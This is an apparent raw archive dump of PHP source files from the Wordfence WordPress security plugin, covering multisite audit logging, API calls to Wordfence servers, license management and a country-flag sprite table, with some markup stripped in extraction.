'blog' => array( 'blog_domain' => $domain, 'blog_path' => $path, 'blog_name' => $title, ), 'user' => array( 'user_login' => $user, ), )); }); $auditLog->_addObserver('add_user_to_blog', function($user_id, $role, $blog_id) use ($auditLog) { //User added to multisite blog $user = get_user_by('ID', $user_id); $blog = get_blog_details(array('blog_id' => $blog_id)); $auditLog->_recordAction(self::MULTISITE_USER_ADDED, array('blog' => $auditLog->_sanitizeMultisiteData(false, $blog), 'user' => $auditLog->_sanitizeUserdata($user), 'role' => $role)); }); $auditLog->_addObserver('wpmu_new_user', function($user_id) use ($auditLog) { //New unprivileged multisite user created $user = get_user_by('ID', $user_id); $auditLog->_recordAction(self::MULTISITE_USER_CREATED, array('user' => $auditLog->_sanitizeUserdata($user))); }); $auditLog->_addObserver('wpmu_delete_user', function($id, $user) use ($auditLog) { //Multisite user will be deleted $auditLog->_recordAction(self::MULTISITE_USER_DELETED, array('user' => $auditLog->_sanitizeUserdata($user))); }); $auditLog->_addObserver('invite_user', function($user_id, $role, $newuser_key) use ($auditLog) { //Multisite user invited to blog $user = get_user_by('ID', $user_id); $blog = get_blog_details(); $auditLog->_recordAction(self::MULTISITE_USER_INVITED, array('blog' => $auditLog->_sanitizeMultisiteData(false, $blog), 'user' => $auditLog->_sanitizeUserdata($user), 'role' => $role)); }); $auditLog->_addObserver('remove_user_from_blog', function($user_id, $blog_id, $reassign_id) use ($auditLog) { //Multisite user removed from blog $user = get_user_by('ID', $user_id); $blog = get_blog_details(array('blog_id' => $blog_id)); $reassign = get_user_by('ID', $reassign_id); $auditLog->_recordAction(self::MULTISITE_USER_REMOVED, array('blog' => $auditLog->_sanitizeMultisiteData(false, $blog), 'user' => $auditLog->_sanitizeUserdata($user), 'reassign' => $auditLog->_sanitizeUserdata($reassign))); }); $auditLog->_addObserver('after_signup_user', function($user, $user_email, $key, $meta) use ($auditLog) { //Multisite user signup $auditLog->_recordAction(self::MULTISITE_USER_SIGNED_UP, array( 'user' => array( 'user_login' => $user, ), )); }); $auditLog->_addObserver('granted_super_admin', function($user_id) use ($auditLog) { //Super admin granted $user = get_user_by('ID', $user_id); $auditLog->_recordAction(self::USER_SUPER_ADMIN_GRANTED, $auditLog->_sanitizeUserdata($user)); }); $auditLog->_addObserver('revoked_super_admin', function($user_id) use ($auditLog) { //Super admin revoked $user = get_user_by('ID', $user_id); $auditLog->_recordAction(self::USER_SUPER_ADMIN_REVOKED, $auditLog->_sanitizeUserdata($user)); }); } /** * Registers the data gatherers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerDataGatherers($auditLog) { if (!is_multisite()) { return; } $auditLog->_addObserver('wp_validate_site_deletion', function($errors, $blog) use ($auditLog) { //Multisite site will be deleted $auditLog->_trackState('wp_validate_site_deletion.blog', $auditLog->_sanitizeMultisiteData(false, $blog)); }); $auditLog->_addObserver('update_site_option_active_sitewide_plugins', function($option, $value, $old_value, $network_id) use ($auditLog) { //Network active plugins changed if (!$auditLog->_hasState('update_site_option_active_sitewide_plugins.old', 0)) { $auditLog->_trackState('update_site_option_active_sitewide_plugins.old', $old_value, 0); } $auditLog->_trackState('update_site_option_active_sitewide_plugins.new', $value, 0); $auditLog->_needsDestruct(); }); } /** * Registers the coalescers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerCoalescers($auditLog) { if (!is_multisite()) { return; } $auditLog->_addCoalescer(function() use ($auditLog) { //Network active plugins changed $old = $auditLog->_getState('update_site_option_active_sitewide_plugins.old', 0); if (!is_array($old) || !count($old)) { return; } $new = $auditLog->_getState('update_site_option_active_sitewide_plugins.new', 0); $diff = wfUtils::array_diff($old, $new); $auditLog->_recordAction(self::MULTISITE_NETWORK_OPTION_ACTIVE_PLUGINS, array('plugins' => $new, 'diff' => $diff)); }); } }flags.php000064400000015173147206764270006377 0ustar00 '-0px -0px', 'ad' => '-16px -0px', 'ae' => '-32px -0px', 'af' => '-48px -0px', 'ag' => '-64px -0px', 'ai' => '-80px -0px', 'al' => '-96px -0px', 'am' => '-112px -0px', 'an' => '-128px -0px', 'ao' => '-144px -0px', 'ap' => '-160px -0px', 'aq' => '-176px -0px', 'ar' => '-0px -11px', 'as' => '-16px -11px', 'at' => '-32px -11px', 'au' => '-48px -11px', 'aw' => '-64px -11px', 'ax' => '-80px -11px', 'az' => '-96px -11px', 'ba' => '-112px -11px', 'bb' => '-128px -11px', 'bd' => '-144px -11px', 'be' => '-160px -11px', 'bf' => '-176px -11px', 'bg' => '-0px -22px', 'bh' => '-16px -22px', 'bi' => '-32px -22px', 'bj' => '-48px -22px', 'bl' => '-64px -22px', 'bm' => '-80px -22px', 'bn' => '-96px -22px', 'bo' => '-112px -22px', 'bq' => '-128px -22px', 'br' => '-144px -22px', 'bs' => '-160px -22px', 'bt' => '-176px -22px', 'bv' => '-0px -33px', 'bw' => '-16px -33px', 'by' => '-32px -33px', 'bz' => '-48px -33px', 'ca' => '-64px -33px', 'cc' => '-80px -33px', 'cd' => '-96px -33px', 'cf' => '-112px -33px', 'cg' => '-128px -33px', 'ch' => '-144px -33px', 'ci' => '-160px -33px', 'ck' => '-176px -33px', 'cl' => '-0px -44px', 'cm' => '-16px -44px', 'cn' => '-32px -44px', 'co' => '-48px -44px', 'cr' => '-64px -44px', 'cs' => '-80px -44px', 'cu' => '-96px -44px', 'cv' => '-112px -44px', 'cw' => '-128px -44px', 'cx' => '-144px -44px', 'cy' => '-160px -44px', 'cz' => '-176px -44px', 'de' => '-0px -55px', 'dj' => '-16px -55px', 'dk' => '-32px -55px', 'dm' => '-48px -55px', 'do' => '-64px -55px', 'dz' => '-80px -55px', 'ec' => '-96px -55px', 'ee' => '-112px -55px', 'eg' => '-128px -55px', 'eh' => '-144px -55px', 'england' => '-160px -55px', 'er' => '-176px -55px', 'es' => '-0px -66px', 'et' => '-16px -66px', 'eu' => '-32px -66px', 'fam' => '-48px -66px', 'fi' => '-64px -66px', 'fj' => '-80px -66px', 'fk' => '-96px -66px', 'fm' => '-112px -66px', 'fo' => '-128px -66px', 'fr' => '-144px -66px', 'ga' => '-160px -66px', 'gb' => '-176px -66px', 'gd' => '-0px -77px', 'ge' => '-16px -77px', 'gf' => '-32px -77px', 'gg' => '-48px -77px', 'gh' => '-64px -77px', 'gi' => '-80px -77px', 'gl' => '-96px -77px', 'gm' => '-112px -77px', 'gn' => '-128px -77px', 'gp' => '-144px -77px', 'gq' => '-160px -77px', 'gr' => '-176px -77px', 'gs' => '-0px -88px', 'gt' => '-16px -88px', 'gu' => '-32px -88px', 'gw' => '-48px -88px', 'gy' => '-64px -88px', 'hk' => '-80px -88px', 'hm' => '-96px -88px', 'hn' => '-112px -88px', 'hr' => '-128px -88px', 'ht' => '-144px -88px', 'hu' => '-160px -88px', 'id' => '-176px -88px', 'ie' => '-0px -99px', 'il' => '-16px -99px', 'im' => '-32px -99px', 'in' => '-48px -99px', 'io' => '-64px -99px', 'iq' => '-80px -99px', 'ir' => '-96px -99px', 'is' => '-112px -99px', 'it' => '-128px -99px', 'je' => '-144px -99px', 'jm' => '-160px -99px', 'jo' => '-176px -99px', 'jp' => '-0px -110px', 'ke' => '-16px -110px', 'kg' => '-32px -110px', 'kh' => '-48px -110px', 'ki' => '-64px -110px', 'km' => '-80px -110px', 'kn' => '-96px -110px', 'kp' => '-112px -110px', 'kr' => '-128px -110px', 'kw' => '-144px -110px', 'ky' => '-160px -110px', 'kz' => '-176px -110px', 'la' => '-0px -121px', 'lb' => '-16px -121px', 'lc' => '-32px -121px', 'li' => '-48px -121px', 'lk' => '-64px -121px', 'lr' => '-80px -121px', 'ls' => '-96px -121px', 'lt' => '-112px -121px', 'lu' => '-128px -121px', 'lv' => '-144px -121px', 'ly' => '-160px -121px', 'ma' => '-176px -121px', 'mc' => '-0px -132px', 'md' => '-16px -132px', 'me' => '-32px -132px', 'mf' => '-48px -132px', 'mg' => '-64px -132px', 'mh' => '-80px -132px', 'mk' => '-96px -132px', 'ml' => '-112px -132px', 'mm' => '-128px -132px', 'mn' => '-144px -132px', 'mo' => '-160px -132px', 'mp' => '-176px -132px', 'mq' => '-0px -143px', 'mr' => '-16px -143px', 'ms' => '-32px -143px', 'mt' => '-48px -143px', 'mu' => '-64px -143px', 'mv' => '-80px -143px', 'mw' => '-96px -143px', 'mx' => '-112px -143px', 'my' => '-128px -143px', 'mz' => '-144px -143px', 'na' => '-160px -143px', 'nc' => '-176px -143px', 'ne' => '-0px -154px', 'nf' => '-16px -154px', 'ng' => '-32px -154px', 'ni' => '-48px -154px', 'nl' => '-64px -154px', 'no' => '-80px -154px', 'np' => '-96px -154px', 'nr' => '-112px -154px', 'nu' => '-128px -154px', 'nz' => '-144px -154px', 'om' => '-160px -154px', 'pa' => '-176px -154px', 'pe' => '-0px -165px', 'pf' => '-16px -165px', 'pg' => '-32px -165px', 'ph' => '-48px -165px', 'pk' => '-64px -165px', 'pl' => '-80px -165px', 'pm' => '-96px -165px', 'pn' => '-112px -165px', 'pr' => '-128px -165px', 'ps' => '-144px -165px', 'pt' => '-160px -165px', 'pw' => '-176px -165px', 'py' => '-0px -176px', 'qa' => '-16px -176px', 're' => '-32px -176px', 'ro' => '-48px -176px', 'rs' => '-64px -176px', 'ru' => '-80px -176px', 'rw' => '-96px -176px', 'sa' => '-112px -176px', 'sb' => '-128px -176px', 'sc' => '-144px -176px', 'scotland' => '-160px -176px', 'sd' => '-176px -176px', 'se' => '-0px -187px', 'sg' => '-16px -187px', 'sh' => '-32px -187px', 'si' => '-48px -187px', 'sj' => '-64px -187px', 'sk' => '-80px -187px', 'sl' => '-96px -187px', 'sm' => '-112px -187px', 'sn' => '-128px -187px', 'so' => '-144px -187px', 'sr' => '-160px -187px', 'ss' => '-176px -187px', 'st' => '-0px -198px', 'sv' => '-16px -198px', 'sx' => '-32px -198px', 'sy' => '-48px -198px', 'sz' => '-64px -198px', 'tc' => '-80px -198px', 'td' => '-96px -198px', 'tf' => '-112px -198px', 'tg' => '-128px -198px', 'th' => '-144px -198px', 'tj' => '-160px -198px', 'tk' => '-176px -198px', 'tl' => '-0px -209px', 'tm' => '-16px -209px', 'tn' => '-32px -209px', 'to' => '-48px -209px', 'tr' => '-64px -209px', 'tt' => '-80px -209px', 'tv' => '-96px -209px', 'tw' => '-112px -209px', 'tz' => '-128px -209px', 'ua' => '-144px -209px', 'ug' => '-160px -209px', 'uk' => '-176px -209px', 'um' => '-0px -220px', 'un' => '-16px -220px', 'us' => '-32px -220px', 'uy' => '-48px -220px', 'uz' => '-64px -220px', 'va' => '-80px -220px', 'vc' => '-96px -220px', 've' => '-112px -220px', 'vg' => '-128px -220px', 'vi' => '-144px -220px', 'vn' => '-160px -220px', 'vu' => '-176px -220px', 'wales' => '-0px -231px', 'wf' => '-16px -231px', 'ws' => '-32px -231px', 'xk' => '-48px -231px', 'ye' => '-64px -231px', 'yt' => '-80px -231px', 'za' => '-96px -231px', 'zm' => '-112px -231px', 'zw' => '-128px -231px', );wfAPI.php000064400000023241147206764270006244 0ustar00APIKey = $apiKey; $this->wordpressVersion = $wordpressVersion; } public function getStaticURL($url) { // In the form '/something.bin' without quotes return $this->getURL(rtrim($this->getAPIURL(), '/') . '/' . ltrim($url, '/')); } public function call($action, $getParams = array(), $postParams = array(), $forceSSL = false, $timeout = 900) { $apiURL = $this->getAPIURL(); //Sanity check. Developer should call wfAPI::SSLEnabled() to check if SSL is enabled before forcing SSL and return a user friendly msg if it's not. if ($forceSSL && (!preg_match('/^https:/i', $apiURL))) { //User's should never see this message unless we aren't calling SSLEnabled() to check if SSL is enabled before using call() with forceSSL throw new wfAPICallSSLUnavailableException(__("SSL is not supported by your web server and is required to use this function. Please ask your hosting provider or site admin to install cURL with openSSL to use this feature.", 'wordfence')); } $json = $this->getURL(rtrim($apiURL, '/') . '/v' . WORDFENCE_API_VERSION . '/?' . $this->makeAPIQueryString() . '&' . self::buildQuery( array_merge( array('action' => $action), $getParams )), $postParams, $timeout); if (!$json) { throw new wfAPICallInvalidResponseException(sprintf(/* translators: API call/action/endpoint. */__("We received an empty data response from the Wordfence scanning servers when calling the '%s' function.", 'wordfence'), $action)); } $dat = json_decode($json, true); if (!is_array($dat)) { throw new wfAPICallInvalidResponseException(sprintf(/* translators: API call/action/endpoint. */ __("We received a data structure that is not the expected array when contacting the Wordfence scanning servers and calling the '%s' function.", 'wordfence'), $action)); } //Only process key data for responses that include it if (array_key_exists('_isPaidKey', $dat)) $this->processKeyData($dat); if (isset($dat['_touppChanged'])) { wfConfig::set('touppPromptNeeded', wfUtils::truthyToBoolean($dat['_touppChanged'])); } if (isset($dat['errorMsg'])) { throw new wfAPICallErrorResponseException($dat['errorMsg']); } return $dat; } private function processKeyData($dat) { $license = wfLicense::current() ->setApiKey($this->APIKey) ->setPaid($dat['_isPaidKey']) ->setRemainingDays($dat['_keyExpDays']) ->setType(array_key_exists('_licenseType', $dat) ? $dat['_licenseType'] : null); if (isset($dat['_isPaidKey']) && !isset($dat['errorMsg'])) { wfConfig::setOrRemove('premiumAutoRenew', isset($dat['_autoRenew']) ? wfUtils::truthyToInt($dat['_autoRenew']) : null); wfConfig::setOrRemove('premiumNextRenew', isset($dat['_nextRenewAttempt']) ? time() + $dat['_nextRenewAttempt'] * 86400 : null); wfConfig::setOrRemove('premiumPaymentExpiring', isset($dat['_paymentExpiring']) ? wfUtils::truthyToInt($dat['_paymentExpiring']) : null); wfConfig::setOrRemove('premiumPaymentExpired', isset($dat['_paymentExpired']) ? wfUtils::truthyToInt($dat['_paymentExpired']) : null); wfConfig::setOrRemove('premiumPaymentMissing', isset($dat['_paymentMissing']) ? wfUtils::truthyToInt($dat['_paymentMissing']) : null); wfConfig::setOrRemove('premiumPaymentHold', isset($dat['_paymentHold']) ? wfUtils::truthyToInt($dat['_paymentHold']) : null); } $hasKeyConflict = false; if (isset($dat['_hasKeyConflict'])) { $hasKeyConflict = ($dat['_hasKeyConflict'] == 1); if ($hasKeyConflict) { new wfNotification(null, wfNotification::PRIORITY_HIGH_CRITICAL, '' . esc_html__('The Wordfence license you\'re using does not match this site\'s address. Premium features are disabled.', 'wordfence') . '', 'wfplugin_keyconflict', null, array(array('link' => 'https://www.wordfence.com/manage-wordfence-api-keys/', 'label' => 'Manage Keys'))); $license->setConflicting(); } } $license->setDeleted(isset($dat['_keyNoLongerValid']) && $dat['_keyNoLongerValid'] == 1); if (!$hasKeyConflict) { $license->setConflicting(false); $n = wfNotification::getNotificationForCategory('wfplugin_keyconflict'); if ($n !== null) { wordfence::status(1, 'info', 'Idle'); $n->markAsRead(); } } $license->save(isset($dat['errorMsg'])); } protected function getURL($url, $postParams = array(), $timeout = 900) { wordfence::status(4, 'info', sprintf(/* translators: API version. */ __("Calling Wordfence API v%s:", 'wordfence'), WORDFENCE_API_VERSION) . $url); if (!function_exists('wp_remote_post')) { require_once(ABSPATH . WPINC . 'http.php'); } $ssl_verify = (bool) wfConfig::get('ssl_verify'); $args = array( 'timeout' => $timeout, 'user-agent' => "Wordfence.com UA " . (defined('WORDFENCE_VERSION') ? WORDFENCE_VERSION : '[Unknown version]'), 'body' => $postParams, 'sslverify' => $ssl_verify, 'headers' => array('Referer' => false), ); if (!$ssl_verify) { // Some versions of cURL will complain that SSL verification is disabled but the CA bundle was supplied. $args['sslcertificates'] = false; } $response = wp_remote_post($url, $args); $this->lastHTTPStatus = (int) wp_remote_retrieve_response_code($response); if (is_wp_error($response)) { $error_message = $response->get_error_message(); if ($error_message) { $apiExceptionMessage = sprintf(/* translators: Error message. */ __('There was an error connecting to the Wordfence scanning servers: %s', 'wordfence'), $error_message); } else { $apiExceptionMessage = __('There was an unknown error connecting to the Wordfence scanning servers.', 'wordfence'); } throw new wfAPICallFailedException($apiExceptionMessage); } $dateHeader = @$response['headers']['date']; if (!empty($dateHeader) && (time() - wfConfig::get('timeoffset_wf_updated', 0) > 3600)) { if (function_exists('date_create_from_format')) { $dt = DateTime::createFromFormat('D, j M Y G:i:s O', $dateHeader); $timestamp = $dt->getTimestamp(); } else { $timestamp = strtotime($dateHeader); } $offset = $timestamp - time(); wfConfig::set('timeoffset_wf', $offset); wfConfig::set('timeoffset_wf_updated', time()); } if (!empty($response['response']['code'])) { $this->lastHTTPStatus = (int) $response['response']['code']; } if (200 != $this->lastHTTPStatus) { throw new wfAPICallFailedException(sprintf(/* translators: HTTP status code. */__("The Wordfence scanning servers are currently unavailable. This may be for maintenance or a temporary outage. If this still occurs in an hour, please contact support. [%s]", 'wordfence'), $this->lastHTTPStatus)); } $content = wp_remote_retrieve_body($response); return $content; } public function binCall($func, $postData) { $url = rtrim($this->getAPIURL(), '/') . '/v' . WORDFENCE_API_VERSION . '/?' . $this->makeAPIQueryString() . '&action=' . $func; $data = $this->getURL($url, $postData); if (preg_match('/\{.*errorMsg/', $data)) { $jdat = @json_decode($data, true); if (is_array($jdat) && $jdat['errorMsg']) { throw new Exception($jdat['errorMsg']); } } return array('code' => $this->lastHTTPStatus, 'data' => $data); } public static function generateSiteStats($wordpressVersion = null) { if ($wordpressVersion === null) $wordpressVersion = wfUtils::getWPVersion(); $cv = null; $cs = null; if (function_exists('curl_version')) { $curl = curl_version(); $cv = $curl['version']; $cs = $curl['ssl_version']; } $values = array( 'wp' => $wordpressVersion, 'wf' => WORDFENCE_VERSION, 'ms' => (is_multisite() ? get_blog_count() : false), 'h' => wfUtils::wpHomeURL(), 'sslv' => function_exists('openssl_verify') && defined('OPENSSL_VERSION_NUMBER') ? OPENSSL_VERSION_NUMBER : null, 'pv' => phpversion(), 'pt' => php_sapi_name(), 'cv' => $cv, 'cs' => $cs, 'sv' => (isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : null), 'dv' => wfConfig::get('dbVersion', null), 'lang' => get_site_option('WPLANG'), ); return wfUtils::base64url_encode(wfUtils::jsonEncodeSafely($values)); } public function makeAPIQueryString() { return self::buildQuery(array( 'k' => $this->APIKey, 's' => self::generateSiteStats($this->wordpressVersion) )); } private function buildQuery($data) { if (version_compare(phpversion(), '5.1.2', '>=')) { return http_build_query($data, '', '&'); //arg_separator parameter was only added in PHP 5.1.2. We do this because some PHP.ini's have arg_separator.output set to '&' } else { return http_build_query($data); } } private function getAPIURL() { return self::SSLEnabled() ? WORDFENCE_API_URL_SEC : WORDFENCE_API_URL_NONSEC; } public static function SSLEnabled() { if (!function_exists('wp_http_supports')) { require_once(ABSPATH . WPINC . 'http.php'); } return wp_http_supports(array('ssl')); } public function getTextImageURL($text) { $apiURL = $this->getAPIURL(); return rtrim($apiURL, '/') . '/v' . WORDFENCE_API_VERSION . '/?' . $this->makeAPIQueryString() . '&' . self::buildQuery(array('action' => 'image', 'txt' => base64_encode($text))); } } class wfAPICallSSLUnavailableException extends Exception { } class wfAPICallFailedException extends Exception { } class wfAPICallInvalidResponseException extends Exception { } class wfAPICallErrorResponseException extends Exception { }wfDeactivationOption.php000064400000004210147206764270011431 0ustar00key = $key; $this->label = $label; $this->deleteMain = $deleteMain; $this->deleteLoginSecurity = $deleteLoginSecurity; } public function getKey() { return $this->key; } public function getLabel() { return $this->label; } public function deletesMain() { return $this->deleteMain; } public function deletesLoginSecurity() { return $this->deleteLoginSecurity; } public function matchesState($deleteMain, $deleteLoginSecurity) { return $deleteMain === $this->deleteMain && $deleteLoginSecurity === $this->deleteLoginSecurity; } private static function registerOption($option) { self::$options[$option->getKey()] = $option; } private static function initializeOptions() { if (empty(self::$options)) { $options = array( new self(self::RETAIN, __('Keep all Wordfence tables and data', 'wordfence'), false, false), new self(self::DELETE_MAIN, __('Delete Wordfence tables and data, but keep Login Security tables and 2FA codes', 'wordfence'), true, false), new self(self::DELETE_LOGIN_SECURITY, __('Delete Login Security tables and 2FA codes, but keep Wordfence tables and data', 'wordfence'), false, true), new self(self::DELETE_ALL, __('Delete all Wordfence tables and data', 'wordfence'), true, true) ); foreach ($options as $option) self::registerOption($option); } } public static function getAll() { self::initializeOptions(); return self::$options; } public static function forKey($key) { self::initializeOptions(); return array_key_exists($key, self::$options) ? self::$options[$key] : null; } public static function forState($deleteMain, $deleteLoginSecurity) { foreach (self::getAll() as $option) { if ($option->matchesState($deleteMain, $deleteLoginSecurity)) return $option; } return null; } }wfScanFile.php000064400000002015147206764270007313 0ustar00realPath = $realPath; $this->wordpressPath = $wordpressPath; } public function getRealPath() { return $this->realPath; } public function getWordpressPath() { return $this->wordpressPath; } public function getDisplayPath() { if (wfFileUtils::matchPaths($this->realPath, $this->wordpressPath)) { return '~/' . $this->getWordpressPath(); } return $this->realPath; } public function createChild($childPath) { return new self( wfFileUtils::realPath(wfFileUtils::joinPaths($this->realPath, $childPath)), wfFileUtils::joinPaths($this->wordpressPath, $childPath) ); } public function __toString() { return $this->getRealPath(); } public function initializeProperties() { return new wfScanFileProperties($this->realPath, $this->wordpressPath); } }menu_tools.php000064400000002770147206764270007466 0ustar00 render(); echo wfView::create('gdpr/banner')->render(); } ?>
$tabs, ))->render(); ?>
wfLicense.php000064400000024672147206764270007226 0ustar00apiKey = $apiKey; $this->paid = $paid; $this->setType($type); $this->remainingDays = $remainingDays; $this->conflicting = $conflicting; $this->deleted = $deleted; $this->keyType = $keyType; } public function setApiKey($apiKey) { $this->apiKey = $apiKey; return $this; } public function getApiKey() { return $this->apiKey; } public function setPaid($paid) { $this->paid = $paid; return $this; } public function isPaid() { return $this->paid; } public function setType($type) { $this->type = $type !== null && self::isValidType($type) ? (string) $type : ($this->isPaid() ? self::TYPE_PREMIUM : self::TYPE_FREE); return $this; } public function getType() { return $this->type === null ? self::TYPE_FREE : $this->type; } public function is($type, $orGreater = false) { return $this->type === $type || ($orGreater && $this->isAtLeast($type)); } public function setRemainingDays($days) { $this->remainingDays = (int) $days; return $this; } public function getRemainingDays() { return $this->remainingDays; } public function setConflicting($conflicting = true) { $this->conflicting = $conflicting; return $this; } public function hasConflict() { return $this->conflicting; } public function setDeleted($deleted = true) { $this->deleted = $deleted; return $this; } public function isExpired() { return $this->getKeyType() === self::KEY_TYPE_PAID_EXPIRED; } public function isValid() { return !$this->isExpired(); } public function isPaidAndCurrent() { return $this->getKeyType() === self::KEY_TYPE_PAID_CURRENT; } private function resolveKeyType() { if ($this->deleted) return self::KEY_TYPE_PAID_DELETED; if ($this->paid) { if ($this->remainingDays >= 0) return self::KEY_TYPE_PAID_CURRENT; else return self::KEY_TYPE_PAID_EXPIRED; } return self::KEY_TYPE_FREE; } public function getKeyType() { if (!$this->keyType) $this->keyType = $this->resolveKeyType(); return $this->keyType; } private function clearCache() { $this->keyType = null; } private function compareTiers($a, $b, $inclusive = true) { if ($a === $b) return $inclusive; foreach (self::$TYPES as $tier) { if ($tier === $a) return true; if ($tier === $b) return false; } return false; } /** * Check if the license type is at or above the given tier */ public function isAtLeast($type) { if ($type !== self::TYPE_FREE && !$this->isValid()) return false; return $this->compareTiers($type, $this->getType()); } public function isBelow($type) { if ($type !== self::TYPE_FREE && !$this->isValid()) return true; return $this->compareTiers($this->getType(), $type, false); } public function isPremium($orGreater = false) { return $this->is(self::TYPE_PREMIUM, $orGreater); } public function isAtLeastPremium() { return $this->isPremium(true); } public function isBelowPremium() { return $this->isBelow(self::TYPE_PREMIUM); } public function isCare($orGreater = false) { return $this->is(self::TYPE_CARE, $orGreater); } public function isAtLeastCare() { return $this->isCare(true); } public function isBelowCare() { return $this->isBelow(self::TYPE_CARE); } public function isResponse($orGreater = false) { return $this->is(self::TYPE_RESPONSE, $orGreater); } public function isAtLeastResponse() { return $this->isResponse(true); } public function isBelowResponse() { return $this->isBelow(self::TYPE_RESPONSE); } public function getShieldLogo() { $type = $this->getType(); return wfUtils::getBaseURL() . "images/logos/shield-{$type}.svg"; } public function getStylesheet($global = false) { $type = $this->getType(); $suffix = $global ? '-global' : ''; return wfUtils::getBaseURL() . wfUtils::versionedAsset("css/license/{$type}{$suffix}.css", '', WORDFENCE_VERSION); } public function getGlobalStylesheet() { return $this->getStylesheet(true); } public function getTypeLabel($requireCurrent = true, $includePrefix = null) { $paidKeyTypes = array(self::KEY_TYPE_PAID_CURRENT); if (!$requireCurrent) { $paidKeyTypes[] = self::KEY_TYPE_PAID_EXPIRED; $paidKeyTypes[] = self::KEY_TYPE_PAID_DELETED; } if (in_array($this->getKeyType(), $paidKeyTypes)) { switch ($this->type) { case self::TYPE_CARE: return $includePrefix || $includePrefix === null ? __('Wordfence Care', 'wordfence') : __('Care', 'wordfence'); case self::TYPE_RESPONSE: return $includePrefix || $includePrefix === null ? __('Wordfence Response', 'wordfence') : __('Response', 'wordfence'); case self::TYPE_PREMIUM: default: return $includePrefix ? __('Wordfence Premium', 'wordfence') : __('Premium', 'wordfence'); } } return $includePrefix ? __('Wordfence Free', 'wordfence') : __('Free', 'wordfence'); } public function getPrefixedTypeLabel($requireCurrent = true) { return $this->getTypeLabel($requireCurrent, true); } private function generateLicenseUrl($path, $query = array(), $campaign = null) { if ($campaign !== null) $campaign = "gnl1{$campaign}"; $url = implode( '/', array_filter(array( 'https://www.wordfence.com', $campaign, $path )) ); return $url . (empty($query) ? '' : ('?' . http_build_query($query))); } public function getSupportUrl($campaign = null) { return $this->generateLicenseUrl( 'get-help', array( 'license' => $this->apiKey ), $campaign ); } public function getUpgradeUrl($campaign = null) { if ($this->isAtLeastPremium()) { return $this->generateLicenseUrl( 'licenses', array( 'upgrade' => $this->apiKey ), $campaign ); } else { return $this->generateLicenseUrl( 'products/pricing/', array(), $campaign ); } } private function writeConfig($hasError = false) { $this->clearCache(); $keyType = $this->getKeyType(); wfConfig::set(self::CONFIG_API_KEY, $this->apiKey); wfConfig::set(self::CONFIG_TYPE, $this->type); wfConfig::set(self::CONFIG_REMAINING_DAYS, $this->remainingDays); wfConfig::set(self::CONFIG_PAID, $keyType === self::KEY_TYPE_PAID_CURRENT); wfConfig::setOrRemove(self::CONFIG_HAS_KEY_CONFLICT, $this->conflicting ? 1 : null); if (!$hasError) { //Only save a limited subset of the config if an API error occurred wfConfig::set(self::CONFIG_KEY_TYPE, $keyType); } } /** * @param bool $hasError whether or not an error occurred while retrieving the current license data */ public function save($hasError = false) { $this->writeConfig($hasError); } public function downgradeToFree($apiKey) { $this->apiKey = $apiKey; $this->type = self::TYPE_FREE; $this->paid = false; $this->keyType = self::KEY_TYPE_FREE; $this->conflicting = false; $this->deleted = false; $this->remainingDays = -1; return $this; } public static function isValidType($type) { return in_array($type, self::$TYPES); } private static function fromConfig() { $remainingDays = wfConfig::get(self::CONFIG_REMAINING_DAYS, null); if ($remainingDays !== null) $remainingDays = (int) $remainingDays; $keyType = wfConfig::get(self::CONFIG_KEY_TYPE, null); return new self( (string) wfConfig::get(self::CONFIG_API_KEY), (bool) wfConfig::get(self::CONFIG_PAID), (string) wfConfig::get(self::CONFIG_TYPE, self::TYPE_FREE), $remainingDays, (bool) wfConfig::get(self::CONFIG_HAS_KEY_CONFLICT, false), $keyType === self::KEY_TYPE_PAID_DELETED, $keyType ); } public static function current() { if (self::$current === null) { self::$current = self::fromConfig(); } return self::$current; } const REGISTRATION_TOKEN_TTL = 86400; //24 hours const REGISTRATION_TOKEN_KEY = 'wfRegistrationToken'; const REGISTRATION_TOKEN_LENGTH = 32; public static function getRegistrationToken($refreshTtl = false) { $token = get_transient(self::REGISTRATION_TOKEN_KEY); if ($token === false) { $token = openssl_random_pseudo_bytes(self::REGISTRATION_TOKEN_LENGTH); if ($token === false) throw new Exception('Unable to generate registration token'); $token = wfUtils::base64url_encode($token); $refreshTtl = true; } if ($refreshTtl) set_transient(self::REGISTRATION_TOKEN_KEY, $token, self::REGISTRATION_TOKEN_TTL); return $token; } public static function validateRegistrationToken($token) { $expected = self::getRegistrationToken(); //Note that the length of $expected is publicly known since it's in the plugin source, so differening lengths immediately triggering a false return is not a cause for concern return hash_equals($expected, $token); } public static function generateRegistrationLink() { $wfWebsite = wfWebsite::getInstance(); $stats = wfAPI::generateSiteStats(); $token = self::getRegistrationToken(true); $returnUrl = network_admin_url('admin.php?page=WordfenceInstall'); $payload = array( self::REGISTRATION_PAYLOAD_VERSION, $stats, $token, $returnUrl, ); $payload = implode(';', $payload); $payload = wfUtils::base64url_encode($payload); return $wfWebsite->getUrl("plugin/registration/{$payload}"); } }IPTraf.php000064400000002246147206764270006425 0ustar00 ?ver=' type='text/css' media='all' />

Diff/Renderer/Html/SideBySide.php000064400000013660147206764270012610 0ustar00 * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * - Neither the name of the Chris Boulton nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE 